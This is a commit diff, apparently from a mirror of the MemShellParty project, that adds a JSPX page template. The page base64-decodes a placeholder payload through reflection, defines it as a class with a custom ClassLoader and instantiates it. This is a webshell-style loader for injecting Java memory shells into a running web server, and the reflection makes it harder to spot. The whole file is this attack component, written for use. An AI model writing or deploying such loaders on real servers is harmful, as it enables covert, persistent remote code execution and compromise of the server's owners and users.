mirror of
https://github.com/ReaJason/MemShellParty.git
synced 2026-09-25 08:21:52 +08:00
refactor: loadResource
This commit is contained in:
@@ -0,0 +1,29 @@
|
||||
<jsp:root version="2.0" xmlns:jsp="http://java.sun.com/JSP/Page">
|
||||
<jsp:directive.page contentType="text/html"/>
|
||||
<jsp:directive.page pageEncoding="UTF-8"/>
|
||||
<jsp:declaration><![CDATA[
|
||||
public static class ClassDefiner extends ClassLoader {
|
||||
public ClassDefiner(ClassLoader classLoader) {
|
||||
super(classLoader);
|
||||
}
|
||||
public Class<?> defineClass(byte[] code) {
|
||||
return defineClass(null, code, 0, code.length);
|
||||
}
|
||||
}
|
||||
]]></jsp:declaration>
|
||||
<jsp:scriptlet><![CDATA[
|
||||
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
|
||||
String base64Str = "{{base64Str}}";
|
||||
byte[] bytecode = null;
|
||||
try {
|
||||
Class base64Clz = classLoader.loadClass("java.util.Base64");
|
||||
Object decoder = base64Clz.getMethod("getDecoder").invoke(null);
|
||||
bytecode = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
|
||||
} catch (ClassNotFoundException ee) {
|
||||
Class datatypeConverterClz = classLoader.loadClass("javax.xml.bind.DatatypeConverter");
|
||||
bytecode = (byte[]) datatypeConverterClz.getMethod("parseBase64Binary", String.class).invoke(null, base64Str);
|
||||
}
|
||||
Class clazz = new ClassDefiner(classLoader).defineClass(bytecode);
|
||||
clazz.newInstance();
|
||||
]]></jsp:scriptlet>
|
||||
</jsp:root>
|
||||
Reference in New Issue
Block a user